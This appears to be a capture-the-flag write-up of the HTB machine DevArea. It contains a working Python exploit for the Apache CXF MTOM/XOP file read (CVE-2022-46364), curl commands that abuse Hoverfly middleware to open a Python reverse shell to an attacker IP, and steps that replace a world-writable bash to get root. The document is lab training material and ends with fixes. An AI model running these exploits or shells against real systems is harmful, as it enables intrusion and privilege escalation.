writeups

devarea — CXF MTOM/XOP XXE → Hoverfly middleware RCE → world-writable bash to root


HTB · Linux · Medium

DevArea is one of those clean linear chains that you can write up in five sentences but takes an evening to actually walk through. Six open ports, three services that matter (FTP for the jar, Apache CXF on 8080 for the SOAP entry, Hoverfly on 8888 for the foothold), one priv-esc that hinges on someone setting /usr/bin/bash to mode 777. The writeup is short because the chain is tight.

target  : 10.129.244.208
attacker: 10.10.15.44

ports

21/tcp   vsftpd 3.0.5            (anon login enabled — /pub/employee-service.jar)
22/tcp   OpenSSH 9.6p1
80/tcp   Apache httpd 2.4.58
8080/tcp Jetty 9.4.27 + Apache CXF SOAP  (/employeeservice?wsdl)
8500/tcp Hoverfly proxy (golang)
8888/tcp Hoverfly Dashboard (golang)

The shape of the box is visible from the port listing alone. Hoverfly is API mock/replay software — the dashboard on 8888 has historically had an Authorization: Bearer … admin API and a documented “middleware” feature that runs a binary + script against intercepted traffic. That’s the second stage. The first stage is on 8080 with CXF.

phase 1 — XXE via CXF MTOM/XOP (CVE-2022-46364)

vsftpd allows anonymous login. /pub/employee-service.jar drops the jar that backs the SOAP service. Decompile reveals an EmployeeService class with one operation: submitReport(report). The report element has an <arg0> with confidential, content, department, employeeName children. The content element is the interesting one — it’s a String, but since the service is wired through CXF with MTOM/XOP enabled, you can pass content as an xop:Include reference.

CVE-2022-46364: Apache CXF’s MTOM/XOP xop:Include handler treats the href attribute as a URL to be fetched server-side, with no scheme restriction. Schemes accepted on unpatched versions: file:, http:, https:, ftp:, jar:. So the href is both an SSRF and a file-read primitive.

The XXE-flavor request:

import requests, sys

TARGET   = "http://10.129.244.208:8080/employeeservice"
FILE     = sys.argv[1] if len(sys.argv) > 1 else "/etc/systemd/system/hoverfly.service"
HREF     = "file://" + FILE if not FILE.startswith(("http://","https://","ftp://","jar:","file:")) else FILE
BOUNDARY = "----=_Part_0_devarea"
CRLF     = "\r\n"

soap = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" '
    'xmlns:tns="http://devarea.htb/" '
    'xmlns:xop="http://www.w3.org/2004/08/xop/include">'
    '<soapenv:Body><tns:submitReport><arg0>'
    '<confidential>false</confidential>'
    f'<content><xop:Include href="{HREF}"/></content>'
    '<department>x</department><employeeName>x</employeeName>'
    '</arg0></tns:submitReport></soapenv:Body></soapenv:Envelope>'
)

body = (
    f"--{BOUNDARY}{CRLF}"
    f'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"{CRLF}'
    f"Content-Transfer-Encoding: 8bit{CRLF}"
    f"Content-ID: <root.message@cxf.apache.org>{CRLF}{CRLF}"
    f"{soap}{CRLF}"
    f"--{BOUNDARY}--{CRLF}"
).encode()

headers = {
    "Content-Type": (
        'multipart/related; type="application/xop+xml"; '
        f'boundary="{BOUNDARY}"; start="<root.message@cxf.apache.org>"; '
        'start-info="text/xml"'
    ),
    "SOAPAction": '""',
    "MIME-Version": "1.0",
}

r = requests.post(TARGET, headers=headers, data=body, timeout=30)
print(r.text)

Pointed at /etc/systemd/system/hoverfly.service:

$ python xxe_exploit.py /etc/systemd/system/hoverfly.service

[+] status: 200
[+] href  : file:///etc/systemd/system/hoverfly.service
<soap:Envelope ...>
  <soap:Body>
    <ns2:submitReportResponse xmlns:ns2="http://devarea.htb/">
      <return>
        Report received from x. Department: x. Content:
        [Unit]
        Description=Hoverfly
        After=network.target

        [Service]
        Type=simple
        ExecStart=/usr/local/bin/hoverctl start --admin-port 8888 \
                  --admin-user admin --admin-pass O7IJ27MyyXiU
        Restart=on-failure
        ...
      </return>
    </ns2:submitReportResponse>
  </soap:Body>
</soap:Envelope>

admin / O7IJ27MyyXiU. The MTOM/XOP “fetch the href” mechanism quietly slipped the unit file’s contents into the SOAP response as if it were the original content field. Cute.

/etc/passwd is also readable via the same primitive — useful for confirming dev_ryan exists as uid 1001, and that /bin/bash is the shell. No interactive shell yet, but the next step is one stop away.

phase 2 — Hoverfly auth → middleware RCE

Hoverfly’s admin API issues JWTs:

curl -s -X POST http://10.129.244.208:8888/api/token-auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"O7IJ27MyyXiU"}'
# → {"token":"eyJhbGciOiJIUzI1NiIs..."}

TOKEN="eyJhbGciOiJIUzI1NiIs..."

Hoverfly’s “middleware” feature is documented: PUT a binary + script (or binary + remote), and Hoverfly will spawn <binary> <script> on the server side for every intercepted message. It exists for legitimate “transform a captured response before replay” use cases. There is no allowlist on binary, so you set it to /bin/bash and put your reverse-shell oneliner in script:

cat > middleware.json <<'EOF'
{"binary":"/bin/bash","script":"python3 -c 'import pty,os,socket;s=socket.socket();s.connect((\"10.10.15.44\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")' &","remote":""}
EOF

curl -X PUT http://10.129.244.208:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  --data @middleware.json

The reverse shell needs to be backgrounded with &, otherwise the middleware spawn blocks and Hoverfly’s processing thread hangs (which doesn’t matter to me but stops the reverse shell from connecting back cleanly because of how the parent waits for the child).

The middleware fires on the next intercepted request. Hoverfly’s proxy on 8500 itself triggers middleware on every captured response, so just hit any URL through the proxy and the bash spawn happens:

curl -x http://10.129.244.208:8500 http://example.com

On the listener:

$ ncat -lvnp 4444
Ncat: Listening on :::4444
Ncat: Connection from 10.129.244.208:35050.
dev_ryan@devarea:/opt/HoverFly$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)

user.txt is in /home/dev_ryan/.

phase 3 — sudo NOPASSWD on /opt/syswatch/syswatch.sh + world-writable bash

sudo -l:

$ sudo -l
User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh

Read the script:

$ cat /opt/syswatch/syswatch.sh
#!/usr/bin/env bash
case "$1" in
  --version) /usr/bin/bash -c 'echo SysWatch v0.4.2' ;;
  web-start) cd /opt/syswatch/web && /usr/bin/python3 server.py ;;
  *) echo "usage: $0 {--version|web-start}" ;;
esac

The whole script just shells out to /usr/bin/bash. Look at the bash binary itself:

$ ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 Apr 14 22:37 /usr/bin/bash

/usr/bin/bash is world-writable. That’s not a normal Linux installation — that’s an admin-set permission. Probably as part of some “deployment fixup.” It means I can replace /usr/bin/bash with a wrapper that does whatever I want, then trigger sudo /opt/syswatch/syswatch.sh --version, which will execute /usr/bin/bash -c 'echo SysWatch v0.4.2' as root — except /usr/bin/bash is now my wrapper.

Procedure:

# Save the original
cp /usr/bin/bash /tmp/bash.bak

# Build a wrapper that sets root suid bash, then hands off to original
cat > /tmp/evil_bash <<'EOF'
#!/bin/sh
/tmp/bash.bak -p -c 'cp /tmp/bash.bak /tmp/rootsh && chmod 4755 /tmp/rootsh' 2>/dev/null
/tmp/bash.bak "$@"
EOF
chmod +x /tmp/evil_bash

# Atomically replace
cp /tmp/evil_bash /usr/bin/bash

# Trigger the sudo'd shellout
sudo /opt/syswatch/syswatch.sh --version

# Restore so the box doesn't fall apart
cp /tmp/bash.bak /usr/bin/bash

Then /tmp/rootsh -p is a setuid-root copy of bash. id confirms uid 0:

$ /tmp/rootsh -p
bash-5.2# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
bash-5.2# cat /root/root.txt

Better still, you can set up a netcat callback inside the wrapper for an interactive root shell:

$ ncat -lvnp 4445
Ncat: Listening on :::4445
Ncat: Connection from 10.129.244.208:55750.
bash: cannot set terminal process group (4008): Inappropriate ioctl for device
bash: no job control in this shell
root@devarea:/tmp/sw# id
uid=0(root) gid=0(root) groups=0(root)
root@devarea:/tmp/sw# cat /root/root.txt

Done.

the through-line

DevArea is a “every step is one CVE/misconfig away from the next” chain. None of the steps individually requires deep specialty knowledge, but the chain only works if you spot:

  1. The xop:Include href attribute is not URL-allowlisted. This is CVE-2022-46364 exactly — that’s the entire CVE. Once you know CXF MTOM/XOP exists, the SOAP service is a file-read away. The hardest step is recognizing that the response contains the file contents in the Content: field of the report. People miss this because the “submitReport” semantics make you expect the file would be silently consumed, not echoed back.
  2. Hoverfly middleware accepts arbitrary binary + script. Hoverfly’s docs are explicit about this; the team treats it as a feature. There is no allowlist for binary. If you can hit /api/v2/hoverfly/middleware authenticated, you have RCE as the Hoverfly process owner. The fix is to either run Hoverfly behind a network ACL (block external :8888) or to stop using middleware at all.
  3. World-writable /usr/bin/bash makes any sudo’d shellout a root shell. This is the kind of misconfiguration that comes from someone debugging “why doesn’t bash work?” with chmod 777 /usr/bin/bash and then forgetting to undo it. find / -perm -2 -type f -path '*/bin/*' 2>/dev/null is the audit; nobody runs that audit.

The fix list is short:

  1. Patch CXF (or stop offering MTOM/XOP on this endpoint).
  2. ACL the Hoverfly admin port behind localhost-only or VPN-only access; rotate the admin credential out of the systemd unit file.
  3. chmod 755 /usr/bin/bash. If you ever felt the urge to make a root binary world-writable, undo it before you commit.